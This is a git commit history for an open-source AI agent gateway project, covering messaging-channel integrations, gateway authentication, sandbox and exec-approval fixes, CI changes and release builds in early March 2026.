Ayaan Zaidi
d3c3d0e730 style(android): update app icon 2026-03-08 13:25:01 +05:30
Peter Lee
92648f9ba9 fix(agents): broaden 402 temporary-limit detection and allow billing cooldown probe (#38533)
Merged via squash.

Prepared head SHA: 282b9186c6
Co-authored-by: xialonglee <22994703+xialonglee@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 10:27:01 +03:00
Peter Steinberger
d15b6af77b fix: land contributor PR #39516 from @Imhermes1
macOS app/chat/browser/cron/permissions fixes.

Co-authored-by: ImHermes1 <lukeforn@gmail.com>
2026-03-08 06:11:20 +00:00
Peter Steinberger
05217845a7 build: bump version to 2026.3.8 2026-03-08 05:59:04 +00:00
Peter Steinberger
389647157d build: update stable appcast release URL 2026-03-08 05:53:19 +00:00
Ayaan Zaidi
c217237a36 style(daemon-cli): format lifecycle test 2026-03-08 11:22:57 +05:30
Peter Steinberger
42a1394c5c build: prepare 2026.3.7 release 2026-03-08 05:42:26 +00:00
Vincent Koc
c3810346f9 CLI: avoid false update restart failures without listener attribution (#39508) 2026-03-07 21:42:25 -08:00
Peter Steinberger
e0f80cf0e9 fix(ui): align control-ui device auth token signing 2026-03-08 05:41:03 +00:00
Peter Steinberger
5d22bd0297 fix: add google flash-lite forward compat 2026-03-08 05:22:38 +00:00
Peter Steinberger
59102a1ff7 fix: add gemini 3.1 flash-lite support 2026-03-08 05:12:48 +00:00
Peter Steinberger
06ffef8465 fix(ci): repair zalouser CI failures 2026-03-08 05:09:12 +00:00
Peter Steinberger
c6a8ab69c6 build: refresh beta appcast asset signature 2026-03-08 04:53:53 +00:00
Peter Steinberger
fcdc1a13e1 fix: land #33992 from @darkamenosa
Co-authored-by: Tom <hxtxmu@gmail.com>
2026-03-08 04:49:04 +00:00
Peter Steinberger
d9670093cb style: format daemon lifecycle test 2026-03-08 04:44:08 +00:00
Peter Steinberger
3596a46868 build: prepare 2026.3.7-beta.1 release 2026-03-08 04:44:08 +00:00
Peter Steinberger
dd8fd98ad4 build: reduce build log noise 2026-03-08 04:12:32 +00:00
Peter Steinberger
a035a3ce48 fix: drop removed minimax lightning model 2026-03-08 04:06:26 +00:00
Peter Steinberger
21df014d56 fix: stage docker live tests from mounted source 2026-03-08 04:06:26 +00:00
Peter Steinberger
1b3d8ee250 docs: note npmjs 1password path for releases 2026-03-08 04:03:25 +00:00
Peter Steinberger
dc78725d47 test: stabilize exec resolver timeout fixture 2026-03-08 03:50:41 +00:00
Ayaan Zaidi
5214859c52 chore: add changelog and format fix for #39414 2026-03-08 09:17:02 +05:30
Ayaan Zaidi
930caeaafb fix(chat): preserve sender labels in dashboard history 2026-03-08 09:17:02 +05:30
Peter Steinberger
c743fd9c4c docs: clean up latest changelog sections 2026-03-08 03:34:53 +00:00
Peter Steinberger
75a44dee8f docs: dedupe changelog contributor attribution 2026-03-08 03:34:53 +00:00
Peter Steinberger
f2a4bdf069 fix(ci): resolve current gate regressions 2026-03-08 03:34:36 +00:00
Peter Steinberger
ed437434af refactor(voice-call): share tts deep merge 2026-03-08 03:22:55 +00:00
Peter Steinberger
5659d7f985 fix: land #39337 by @goodspeed-apps for acpx MCP bootstrap
Co-authored-by: Goodspeed App Studio <goodspeed-apps@users.noreply.github.com>
2026-03-08 03:16:26 +00:00
Peter Steinberger
f72114173c fix(ci): resolve type regressions on main 2026-03-08 03:11:24 +00:00
gambletan
9c8e34da9d fix: document discord agentComponents schema parity (#39378) (thanks @gambletan) (#39378)
Co-authored-by: Shadow <hi@shadowing.dev>
2026-03-07 21:11:12 -06:00
Shadow
d902bae554 fix(discord): validate agentComponents config 2026-03-07 21:08:36 -06:00
Peter Steinberger
7d2b146d8d test: cover daemon probe auth seam 2026-03-08 03:02:25 +00:00
Peter Steinberger
f6c7ff3e0e refactor: preserve explicit mock voice-call values 2026-03-08 03:02:25 +00:00
Peter Steinberger
bd413263b2 refactor: register gateway service adapters 2026-03-08 03:02:25 +00:00
Peter Steinberger
380eb1c072 refactor: reuse shared gateway probe auth 2026-03-08 03:02:25 +00:00
Peter Steinberger
fd1e481624 refactor: split daemon status gathering 2026-03-08 03:02:25 +00:00
Peter Steinberger
2646739d23 refactor: centralize strict numeric parsing 2026-03-08 03:02:25 +00:00
Peter Steinberger
3087893ef9 refactor: normalize voice-call runtime defaults 2026-03-08 03:02:25 +00:00
Peter Steinberger
5759b93dda fix(ci): pin multi-arch docker base digests 2026-03-08 02:55:15 +00:00
Ayaan Zaidi
722c5e5d33 docs: add changelog for Telegram DM draft restore (#39398) 2026-03-08 08:23:25 +05:30
Ayaan Zaidi
e45fcc57ed fix(telegram): restore DM draft streaming 2026-03-08 08:23:25 +05:30
Peter Steinberger
56cd0084d9 test: fix gate regressions 2026-03-08 02:45:08 +00:00
Peter Steinberger
7f44bc5e94 fix: reject launchd pid sentinel values
Landed from contributor PR #39281 by @mvanhorn.

Co-authored-by: Matt Van Horn <mvanhorn@gmail.com>
2026-03-08 02:44:02 +00:00
Vincent Koc
244aabb0cb Voice Call: read realtime STT internals in tests 2026-03-07 18:42:17 -08:00
Vincent Koc
b1f7cf46d8 Voice Call: read TTS internals in tests 2026-03-07 18:42:15 -08:00
Vincent Koc
b8b65692c0 Voice Call: allowlist realtime STT api key fixtures 2026-03-07 18:39:39 -08:00
Vincent Koc
14916fbc70 Secrets: refresh baseline for model provider docs 2026-03-07 18:39:39 -08:00
Peter Steinberger
442f2c36b3 fix: honor explicit OpenAI TTS speed values
Landed from contributor PR #39318 by @ql-wade.

Co-authored-by: ql-wade <wade@openclaw.ai>
2026-03-08 02:38:44 +00:00
Peter Steinberger
28b72e5cb0 fix: honor zero-valued voice-call STT settings
Landed from contributor PR #39196 by @scoootscooob.

Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-08 02:36:41 +00:00
Peter Steinberger
a8c67affd8 test: cover gemini flash compat normalization 2026-03-08 02:34:49 +00:00
Peter Steinberger
af9d76b79a fix: honor explicit Synology Chat rate-limit env values
Landed from contributor PR #39197 by @scoootscooob.

Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-08 02:34:19 +00:00
Vincent Koc
6cb889da8c TUI: type setSession test mocks 2026-03-07 18:33:46 -08:00
Peter Steinberger
100da9f45c fix: correct gemini flash model id 2026-03-08 02:32:58 +00:00
Peter Steinberger
46008178d1 fix: isolate TUI /new sessions per client
Landed from contributor PR #39238 by @widingmarcus-cyber.

Co-authored-by: Marcus Widing <widing.marcus@gmail.com>
2026-03-08 02:31:15 +00:00
Vincent Koc
76a028a50a Gateway CLI: allowlist password-file fixture 2026-03-07 18:28:18 -08:00
Peter Steinberger
9d7d961db8 fix: restore Telegram webhook-mode health after restarts
Landed from contributor PR #39313 by @fellanH.

Co-authored-by: Felix Hellström <30758862+fellanH@users.noreply.github.com>
2026-03-08 02:27:18 +00:00
Peter Steinberger
1ef8d6a01b test: accept ACP token-file inspect errors 2026-03-08 02:27:18 +00:00
Vincent Koc
0125bd9639 Agents UI: complete config state test fixture 2026-03-07 18:24:41 -08:00
Vincent Koc
96f4f50f51 Agents UI: compose save state from config state 2026-03-07 18:24:41 -08:00
Vincent Koc
c6ff137a6f CI: make CodeQL manual only 2026-03-07 18:23:21 -08:00
Peter Steinberger
c0a7c302f3 fix: preserve agents-page selection after config save
Landed from contributor PR #39301 by @MumuTW.

Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-08 02:20:48 +00:00
Vincent Koc
1e3daa6373 CI: fix CodeQL concurrency 2026-03-07 18:20:32 -08:00
Vincent Koc
bf9c362129 Gateway: stop and restart unmanaged listeners (#39355)
* Daemon: allow unmanaged gateway lifecycle fallback

* Status: fix service summary formatting

* Changelog: note unmanaged gateway lifecycle fallback

* Tests: cover unmanaged gateway lifecycle fallback

* Daemon: split unmanaged restart health checks

* Daemon: harden unmanaged gateway signaling

* Daemon: reject unmanaged restarts when disabled
2026-03-07 18:20:29 -08:00
Vincent Koc
4062aa5e5d Gateway: add safer password-file input for gateway run (#39067)
* CLI: add gateway password-file option

* Docs: document safer gateway password input

* Update src/cli/gateway-cli/run.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* Tests: clean up gateway password temp dirs

* CLI: restore gateway password warning flow

* Security: harden secret file reads

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-07 18:20:17 -08:00
Vincent Koc
31564bed1d CI: fix CodeQL manual builds 2026-03-07 18:18:53 -08:00
Peter Steinberger
c2e1ae68a9 refactor(telegram): split bot message context helpers 2026-03-08 02:16:03 +00:00
Peter Steinberger
a679049c38 refactor(doctor): type legacy migration fixtures 2026-03-08 02:16:03 +00:00
Peter Steinberger
44e7c1142e refactor(doctor): model legacy file copies as plans 2026-03-08 02:16:03 +00:00
Peter Steinberger
01cff3a7a6 refactor(pairing): share allowFrom path resolution 2026-03-08 02:16:03 +00:00
Peter Steinberger
e7056272bc refactor(telegram): centralize text parsing helpers 2026-03-08 02:16:03 +00:00
Peter Steinberger
6a8081a7f3 refactor(routing): centralize inbound last-route policy 2026-03-08 02:16:03 +00:00
Vincent Koc
b2f8f5e4dd CI: add CodeQL workflow 2026-03-07 18:15:06 -08:00
Peter Steinberger
49261b0d82 fix: auto-create inherited agent override entries
Landed from contributor PR #39326 by @dunamismax.

Co-authored-by: dunamismax <dunamismax@tutamail.com>
2026-03-08 02:12:33 +00:00
Peter Steinberger
1e05f14f3a fix: land health-monitor disconnected reason label (#36436) (thanks @Sid-Qin) 2026-03-08 02:02:19 +00:00
SidQin-cyber
066d589b8a fix(gateway): distinguish disconnected from stuck in health-monitor restart reason
resolveChannelRestartReason did not handle the "disconnected" evaluation
reason explicitly, so it fell through to "stuck". This conflates a clean
WebSocket drop (e.g. Discord 1006) with a genuinely stuck channel, making
logs misleading and preventing future policy differentiation.

Add "disconnected" to ChannelRestartReason and handle it before the
catch-all "stuck" return.

Closes #36404
2026-03-08 02:02:19 +00:00
Vincent Koc
0018f47661 Secrets: refresh baseline for tts line drift 2026-03-07 18:00:13 -08:00
Vincent Koc
f494e46ea0 Ollama: allowlist test api keys 2026-03-07 18:00:13 -08:00
Vincent Koc
ae15e3fd60 Daemon CLI: format lifecycle core imports 2026-03-07 18:00:13 -08:00
Peter Steinberger
5b257c65d5 fix: default codex-cli sandbox to workspace-write
Landed from contributor PR #39336 by @0xtangping.

Co-authored-by: john <john.j@min123.net>
2026-03-08 01:58:34 +00:00
Peter Steinberger
1b9e4800eb test: fix gateway register option collision mock 2026-03-08 01:58:33 +00:00
Vincent Koc
daecd2d8c3 Pi Runner: gate parallel_tool_calls to compatible APIs (#39356)
* Pi Runner: gate parallel_tool_calls payload injection

* Pi Runner: cover parallel_tool_calls alias precedence

* Changelog: note parallel_tool_calls compatibility fix

* Update CHANGELOG.md

* Pi Runner: clarify null parallel_tool_calls override logging
2026-03-07 17:57:53 -08:00
Vincent Koc
2c7fb54956 Config: fail closed invalid config loads (#39071)
* Config: fail closed invalid config loads

* CLI: keep diagnostics on explicit best-effort config

* Tests: cover invalid config best-effort diagnostics

* Changelog: note invalid config fail-closed fix

* Status: pass best-effort config through status-all gateway RPCs

* CLI: pass config through gateway secret RPC

* CLI: skip plugin loading from invalid config

* Tests: align daemon token drift env precedence
2026-03-07 17:48:13 -08:00
Vincent Koc
1831dbb63f Status: format service summary 2026-03-07 17:46:24 -08:00
Vincent Koc
7e946b3c6c fix(ollama): register custom api for compaction and summarization (#39332)
* fix(agents): add custom api registry helper

* fix(ollama): register native api for embedded runs

* fix(ollama): register custom api before compaction

* fix(tts): register custom api before summarization

* changelog: note ollama compaction registration fix

* fix(ollama): honor resolved base urls in custom api paths
2026-03-07 17:40:34 -08:00
lidamao633
01833c5111 fix(acp): avoid inline delivery for oneshot run spawns (#39014)
* fix(acp): scope inline delivery to session spawns

* test(acp): cover run and session delivery behavior

* Changelog: add ACP run delivery bootstrap fix

---------

Co-authored-by: 徐善 <samxu633@gmail.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-07 17:37:22 -08:00
Vincent Koc
5b30c9d3d7 Changelog: move #39328 credit to section end 2026-03-07 17:36:11 -08:00
Vincent Koc
2ec478cf68 Changelog: credit #39328 to @vincentkoc 2026-03-07 17:35:29 -08:00
Vincent Koc
69a6c0a9dd Runner: normalize malformed tool call names before dispatch (#39328)
* Runner: normalize malformed tool call names before dispatch

* Runner: tighten prefixed tool name normalization
2026-03-07 17:34:27 -08:00
Vincent Koc
ad80ecd445 Discord: fix native command context test args 2026-03-07 17:34:11 -08:00
Vincent Koc
556a74d259 Daemon: handle degraded systemd status checks (#39325)
* Daemon: handle degraded systemd status checks

* Changelog: note systemd status handling

* Update src/commands/status.service-summary.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-07 17:30:48 -08:00
Vincent Koc
c22a4450ee fix(telegram): honor commands.allowFrom in native command auth (#39310)
* telegram: honor commands.allowFrom in native auth

* test(telegram): cover native commands.allowFrom precedence

* changelog: note telegram native commands allowFrom fix

* Update CHANGELOG.md

* telegram: preserve group policy in native command auth

* test(telegram): keep commands.allowFrom under group gating
2026-03-07 17:28:47 -08:00
Peter Steinberger
8cc477b873 refactor(sessions): simplify provider normalizer matching 2026-03-08 01:27:05 +00:00
Peter Steinberger
e381ab630e refactor(channels): share native command session targets 2026-03-08 01:27:05 +00:00
Peter Steinberger
6016e22cc0 refactor(discord): compose native command routes 2026-03-08 01:27:05 +00:00
Peter Steinberger
547436bca7 refactor(discord): extract inbound context helpers 2026-03-08 01:27:05 +00:00
Peter Steinberger
08597e817d fix(ci): stabilize detect-secrets baseline 2026-03-08 01:25:15 +00:00
Peter Steinberger
eb9e78d6d0 fix(discord): default missing native command args 2026-03-08 01:17:59 +00:00
Peter Steinberger
ad7399b6e6 refactor(sessions): add provider key normalizers 2026-03-08 01:17:06 +00:00
Peter Steinberger
8f719e541a refactor(discord): extract native command session targets 2026-03-08 01:15:56 +00:00
Peter Steinberger
9d10697227 refactor(discord): extract native command context builder 2026-03-08 01:15:29 +00:00
Peter Steinberger
189cd99377 refactor(discord): require explicit outbound target hints 2026-03-08 01:15:29 +00:00
Peter Steinberger
74e3c071b2 refactor(discord): extract session key normalization 2026-03-08 01:15:29 +00:00
Peter Steinberger
c1d07b09ce refactor(discord): extract route resolution helpers 2026-03-08 01:15:29 +00:00
Peter Steinberger
269cc22b61 refactor(telegram): split lane delivery modules 2026-03-08 01:14:16 +00:00
Peter Steinberger
1135b7f12f refactor(telegram): precompute dm preview transport flag 2026-03-08 01:14:16 +00:00
Peter Steinberger
3987ca4099 refactor(retry): simplify telegram shouldRetry composition 2026-03-08 01:14:16 +00:00
Peter Steinberger
7b9a34939a refactor(telegram): share error graph traversal helper 2026-03-08 01:14:16 +00:00
Peter Steinberger
f866e57de3 refactor(telegram): dedupe non-idempotent request setup 2026-03-08 01:14:16 +00:00
Peter Steinberger
7e59803df2 refactor(queue): use stable tuple key for recent message dedupe 2026-03-08 01:14:16 +00:00
Peter Steinberger
bebde34b98 refactor(sandbox): clarify fs bridge read and shell plans 2026-03-08 01:14:07 +00:00
Peter Steinberger
da88d92099 fix(gateway): fail closed for config-first secretrefs 2026-03-08 01:13:28 +00:00
Peter Steinberger
f236742dc1 fix(gateway): block cached device token override fallback 2026-03-08 01:13:28 +00:00
Peter Steinberger
a2cb80b9c4 fix(daemon): preserve envfile auth provenance 2026-03-08 01:13:28 +00:00
Peter Steinberger
ad052d661b docs: note gateway auth follow-up hardening 2026-03-08 01:13:28 +00:00
Peter Steinberger
99cfd271d0 fix(sandbox): pin fs bridge readfile handles 2026-03-08 01:09:05 +00:00
Peter Steinberger
bc91ae9ca0 fix(discord): preserve native command session keys 2026-03-08 01:06:09 +00:00
Peter Steinberger
cf1c2cc208 fix(discord): normalize DM session keys 2026-03-08 01:06:09 +00:00
Peter Steinberger
6337666ac0 fix(telegram): restore named-account DM fallback routing (from #32426)
Rebased and landed contributor work from @chengzhichao-xydt for the
Telegram multi-account DM regression in #32351.

Co-authored-by: Zhichao Cheng <cheng.zhichao@xydigit.com>
2026-03-08 01:05:08 +00:00
Peter Steinberger
40dfba85d8 refactor(sandbox): split fs bridge path safety 2026-03-08 01:01:40 +00:00
Peter Steinberger
eb09d8dd71 fix(telegram): land #34238 from @hal-crackbot
Landed from contributor PR #34238 by @hal-crackbot.

Co-authored-by: Hal Crackbot <hal@crackbot.dev>
2026-03-08 00:56:58 +00:00
Peter Steinberger
09cfcf9dd5 fix(sandbox): anchor fs-bridge mkdirp 2026-03-08 00:55:34 +00:00
Peter Steinberger
a505be78ab fix(telegram): land #38906 from @gambletan
Landed from contributor PR #38906 by @gambletan.

Co-authored-by: gambletan <ethanchang32@gmail.com>
2026-03-08 00:54:49 +00:00
Peter Steinberger
4869e24915 fix(telegram): land #34983 from @HOYALIM
Landed from contributor PR #34983 by @HOYALIM.

Co-authored-by: Ho Lim <subhoya@gmail.com>
2026-03-08 00:53:19 +00:00
Vincent Koc
d6d04f361e fix(ollama): preserve local limits and native thinking fallback (#39292)
* fix(ollama): support thinking field fallback in native stream

* fix(models): honor explicit lower token limits in merge mode

* fix(ollama): prefer streamed content over fallback thinking

* changelog: note Ollama local model fixes
2026-03-07 16:53:02 -08:00
Peter Steinberger
5edcab2eee fix(queue): land #33168 from @rylena
Landed from contributor PR #33168 by @rylena.

Co-authored-by: Rylen Anil <rylen.anil@gmail.com>
2026-03-08 00:51:11 +00:00
Peter Steinberger
149ae45bad fix(cron): preserve manual timeoutSeconds on add 2026-03-08 00:48:57 +00:00
Peter Steinberger
e66c418c45 refactor(cron): normalize legacy delivery at ingress 2026-03-08 00:48:57 +00:00
Peter Steinberger
9b99787c31 refactor(cron): extract delivery tool policy helpers 2026-03-08 00:48:57 +00:00
Peter Steinberger
45d3e62f50 refactor(cron): extract agent defaults merge helpers 2026-03-08 00:48:56 +00:00
Peter Steinberger
6b18ec479c refactor(cron): centralize initial delivery defaults 2026-03-08 00:48:56 +00:00
Peter Steinberger
e758d49361 refactor(plugins): extract alias candidate resolution 2026-03-08 00:48:56 +00:00
Peter Steinberger
7ac7b39eff refactor(daemon): extract gateway token drift helper 2026-03-08 00:48:56 +00:00
Edward
02eef1d45a fix(telegram): use group allowlist for native command auth in groups (#39267)
* fix(telegram): use group allowlist for native command auth in groups

Native slash commands (/status, /model, etc.) in Telegram supergroups
and forum topics reject authorized senders with "not authorized" even
when the sender is in groupAllowFrom.

The bug is in resolveTelegramCommandAuth — the final commandAuthorized
check only passes DM allowFrom as an authorizer, so senders who are
authorized via groupAllowFrom get rejected. Regular messages don't have
this problem because they go through evaluateTelegramGroupPolicyAccess
which correctly uses effectiveGroupAllow.

Add effectiveGroupAllow as a second authorizer when the message comes
from a group. resolveCommandAuthorizedFromAuthorizers uses .some(), so
either DM or group allowlist matching is sufficient.

Fixes #28216
Fixes #29135
Fixes #30234

* fix(test): resolve TS2769 type errors in group-auth test

Remove explicit tuple type annotations on mock.calls.filter() callbacks
that conflicted with vitest's mock call types.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(telegram): cover topic auth rejection routing

* changelog: note telegram native group command auth fix

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-07 16:47:57 -08:00
Vincent Koc
0d66834f94 Daemon: scope relaxed systemd probes to install flows 2026-03-07 16:45:18 -08:00
Vincent Koc
fcb990e369 Node Host: allowlist password precedence labels 2026-03-07 16:43:22 -08:00
Vincent Koc
ac02529844 Gateway Auth: allowlist connection auth precedence fixtures 2026-03-07 16:43:22 -08:00
Vincent Koc
83290c5cef Discord: format exec approval tests 2026-03-07 16:43:22 -08:00
Vincent Koc
60441c8ced Systemd: allowlist environment file fixtures 2026-03-07 16:43:21 -08:00
Vincent Koc
a56841b98c Daemon: harden WSL2 systemctl install checks (#39294)
* Daemon: harden WSL2 systemctl install checks

* Changelog: note WSL2 daemon install hardening

* Daemon: tighten systemctl failure classification
2026-03-07 16:43:19 -08:00
Peter Steinberger
f195af0b22 fix(sandbox): anchor fs-bridge destructive ops 2026-03-08 00:41:12 +00:00
Peter Steinberger
9d2b292998 fix(exec-approvals): honor allow-always for bash script invocations
Landed from contributor PR #35137 by @yuweuii.

Co-authored-by: yuweuii <82372187+yuweuii@users.noreply.github.com>
2026-03-08 00:39:54 +00:00
Vincent Koc
ca37a4e82e changelog: note telegram groupAllowFrom sender validation fix 2026-03-07 16:36:16 -08:00
Peter Steinberger
c6575891c7 fix(exec): inherit ask from exec-approvals.json when tools.exec.ask unset
Landed from contributor PR #29187 by @Bartok9.

Co-authored-by: Bartok9 <259807879+Bartok9@users.noreply.github.com>
2026-03-08 00:35:50 +00:00
Vincent Koc
240b143bde test(telegram): cover sender-only groupAllowFrom normalization 2026-03-07 16:34:42 -08:00
Vincent Koc
13ed6afe60 telegram: restore sender-only allowFrom validation 2026-03-07 16:34:21 -08:00
Peter Steinberger
173132165d fix(exec): honor exec-approvals ask=off for gateway/node runs
Landed from contributor PR #26789 by @pandego.

Co-authored-by: Miguel Miranda Dias <7780875+pandego@users.noreply.github.com>
2026-03-08 00:29:34 +00:00
Peter Steinberger
79e3d1f956 fix: retry git lock in committer 2026-03-08 00:28:37 +00:00
Josh Avant
25252ab5ab gateway: harden shared auth resolution across systemd, discord, and node host 2026-03-07 18:28:32 -06:00
Martin-Max
a7f6e0a921 fix(telegram): support negative IDs in groupAllowFrom (#36753) (#37134)
* fix(telegram): support negative IDs in groupAllowFrom for group/channel whitelist (#36753)

When configuring Telegram group restrictions with groupAllowFrom,
negative group/channel IDs (e.g., -1001234567890) are rejected with
'authorization requires numeric Telegram sender IDs only' error,
even though the field name suggests it should accept group IDs.

Root cause:
- normalizeAllowFrom() uses regex /^\d+$/ to validate IDs
- Telegram group/channel IDs are negative integers
- Regex only matches positive integers, rejecting all group IDs

Impact:
- Users cannot whitelist specific groups using groupAllowFrom
- Workaround requires groupPolicy: "open" (security risk)
- Field name is misleading (suggests group IDs, but only accepts user IDs)

Fix:
- Change regex from /^\d+$/ to /^-?\d+$/ (support optional minus sign)
- Apply to both invalidEntries filter and ids filter
- Add comment explaining negative ID support for groups/channels

Testing:
- Positive user IDs (745123456) →  still work
- Negative group IDs (-1001234567890) →  now accepted
- Invalid entries (@username) → ⚠️  still warned

Fixes #36753

* test(telegram): add signed ID runtime regression

---------

Co-authored-by: Martin Qiu <qiuyuemartin@gmail.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-07 19:27:25 -05:00
Vincent Koc
73e510cdf4 Gateway UI: allowlist device key fixtures 2026-03-07 16:27:00 -08:00
Vincent Koc
27b6b0c119 Gateway Secrets: allowlist unresolved secret ref label 2026-03-07 16:27:00 -08:00
Vincent Koc
a7c605ec4a Gateway Credentials: allowlist precedence fixtures 2026-03-07 16:27:00 -08:00
Vincent Koc
ace64831e0 Gateway Credentials: allowlist password fixtures 2026-03-07 16:27:00 -08:00
Vincent Koc
889a60e122 Gateway Auth: allowlist bootstrap password references 2026-03-07 16:27:00 -08:00
Vincent Koc
475b0cb49a Docker Setup: allowlist dotenv token fixtures 2026-03-07 16:27:00 -08:00
Vincent Koc
d83f2c145a Zalo User: use scoped plugin SDK imports 2026-03-07 16:27:00 -08:00
Vincent Koc
5b0fa341fb Zalo: use scoped plugin SDK imports 2026-03-07 16:27:00 -08:00
Vincent Koc
b46ac250d1 WhatsApp: use scoped plugin SDK imports 2026-03-07 16:27:00 -08:00
Vincent Koc
e9cf3506fd Telegram: use scoped plugin SDK imports 2026-03-07 16:27:00 -08:00
Vincent Koc
d899990b44 Slack: use scoped plugin SDK imports 2026-03-07 16:27:00 -08:00
Vincent Koc
4bcef8631c Signal: use scoped plugin SDK imports 2026-03-07 16:27:00 -08:00
Vincent Koc
c7c5c0edaa Nextcloud Talk: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
6035677545 Teams: use scoped plugin SDK allowlist imports 2026-03-07 16:26:59 -08:00
Vincent Koc
6b2adf663e Teams: use scoped plugin SDK channel imports 2026-03-07 16:26:59 -08:00
Vincent Koc
4cc619f06c Mattermost: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
4b0d55dadf Matrix: use scoped plugin SDK resolve-target imports 2026-03-07 16:26:59 -08:00
Vincent Koc
4b02a4eacf Matrix: use scoped plugin SDK channel imports 2026-03-07 16:26:59 -08:00
Vincent Koc
43fd45f038 LINE: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
7980dc59e3 IRC: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
4cd81b0c7b iMessage: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
566f30828d Google Chat: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
1b034f08e0 Feishu: scope plugin SDK directory imports 2026-03-07 16:26:59 -08:00
Vincent Koc
2a5158295e Feishu: scope plugin SDK channel imports 2026-03-07 16:26:59 -08:00
Vincent Koc
e47b63acaa Discord: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Vincent Koc
8f40b132f9 BlueBubbles: use scoped plugin SDK imports 2026-03-07 16:26:59 -08:00
Peter Steinberger
9856d8432d chore(scripts): remove changelog fragment workflow helpers 2026-03-08 00:24:49 +00:00
Peter Steinberger
efdff9c738 fix(scripts): enforce changelog.md and post clickable SHA links 2026-03-08 00:23:45 +00:00
Peter Steinberger
eed403dc74 refactor(agents): unify spawned metadata and extract attachments service 2026-03-08 00:23:45 +00:00
Peter Steinberger
61000b8e4d fix(acp): block sandboxed slash spawns 2026-03-08 00:23:07 +00:00
Peter Steinberger
bda035768f fix(plugins): fall back to src plugin-sdk aliases 2026-03-08 00:18:45 +00:00
Peter Steinberger
4e07bdbdfd fix(cron): restore isolated delivery defaults 2026-03-08 00:18:45 +00:00
Peter Steinberger
8a469a12b2 test(exec): dedupe wrapper boundary regressions 2026-03-08 00:12:08 +00:00
Peter Steinberger
5f50823abf refactor(exec): share wrapper depth classification 2026-03-08 00:12:08 +00:00
Vincent Koc
168c65aa26 Allowlists: type test runtime mocks 2026-03-07 16:09:57 -08:00
Vincent Koc
3b1be1a08c Plugin SDK: align allowFrom helper test input 2026-03-07 16:08:39 -08:00
Vincent Koc
d15a3d3454 Telegram: coerce route allowlist warning flag 2026-03-07 16:08:38 -08:00
Vincent Koc
9d3469c914 Nextcloud Talk: coerce route allowlist warning flag 2026-03-07 16:08:17 -08:00
Vincent Koc
a4ffebbef4 Mattermost: default unknown media kind 2026-03-07 16:07:41 -08:00
Vincent Koc
7c5d6c3dc9 Matrix: default missing media kind to unknown 2026-03-07 16:07:41 -08:00
Vincent Koc
3800f6700a Feishu: narrow directory entry types 2026-03-07 16:07:41 -08:00
Peter Steinberger
990fc36cbd refactor: share sampled entry summary formatting 2026-03-08 00:05:24 +00:00
Peter Steinberger
cc03c097c5 refactor: share provider group-policy warning collectors 2026-03-08 00:05:24 +00:00
Peter Steinberger
566a821e5d refactor: share missing-sender matched allowlist evaluation 2026-03-08 00:05:24 +00:00
Peter Steinberger
2b54070526 refactor: share allowlist provider warning resolution 2026-03-08 00:05:24 +00:00
Peter Steinberger
846ec320e2 refactor: share account-scoped config adapter accessors 2026-03-08 00:05:24 +00:00
Peter Steinberger
b6318d4df4 fix: narrow dm shared group policy typing 2026-03-08 00:05:24 +00:00
Peter Steinberger
b0d9246768 refactor: share matched group policy evaluation 2026-03-08 00:05:24 +00:00
Peter Steinberger
f319ec2dac refactor: share onboarding allowlist entry parsing 2026-03-08 00:05:24 +00:00
Vincent Koc
766d76ef9a Wizard: type-safe onboarding install plan assertions 2026-03-07 16:02:37 -08:00
Vincent Koc
029fdd4208 Daemon CLI: type-safe install plan assertions 2026-03-07 16:02:27 -08:00
Vincent Koc
c5fb661742 Daemon CLI: resolve token drift from gateway credentials 2026-03-07 16:02:18 -08:00
Vincent Koc
936f0a7f22 Update gateway-status.test.ts 2026-03-07 15:59:11 -08:00
Vincent Koc
3ae61d57a3 Gateway Status: allowlist missing token test fixture 2026-03-07 15:58:01 -08:00
Vincent Koc
81140a778b Secrets: refresh baseline line numbers 2026-03-07 15:58:01 -08:00
Vincent Koc
d5803cc4ee CI: remove Knip dead-code report job 2026-03-07 15:58:01 -08:00
Vincent Koc
07cccfc926 CI: drop duplicate strict smoke build check 2026-03-07 15:58:01 -08:00
Peter Steinberger
ab54532c8f fix(agents): land #39247 from @jasonQin6 (subagent workspace inheritance)
Propagate parent workspace directories into spawned subagent runs, keep workspace override internal-only, and add regression tests for forwarding boundaries.

Co-authored-by: jasonQin6 <991262382@qq.com>
2026-03-07 23:56:37 +00:00
Peter Steinberger
eeba93d63d fix(discord): pass gateway auth to exec approvals
Pass resolved gateway token/password into the Discord exec approvals GatewayClient startup path so token-auth installs stop failing approvals with gateway token mismatch.

Fixes #38179
Adjacent investigation: #35147 by @0riginal-claw
Co-authored-by: 0riginal-claw <0rginal_claw@0rginal-claws-Mac-mini.local>
2026-03-07 23:47:48 +00:00
Peter Steinberger
f304ca09b1 fix(agents): sanitize strict openai-compatible turn ordering from #39252 (thanks @scoootscooob)
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-07 23:42:19 +00:00
Peter Steinberger
ada4ee08d9 fix(docker): land #33097 from @chengzhichao-xydt
Landed from contributor PR #33097 by @chengzhichao-xydt.

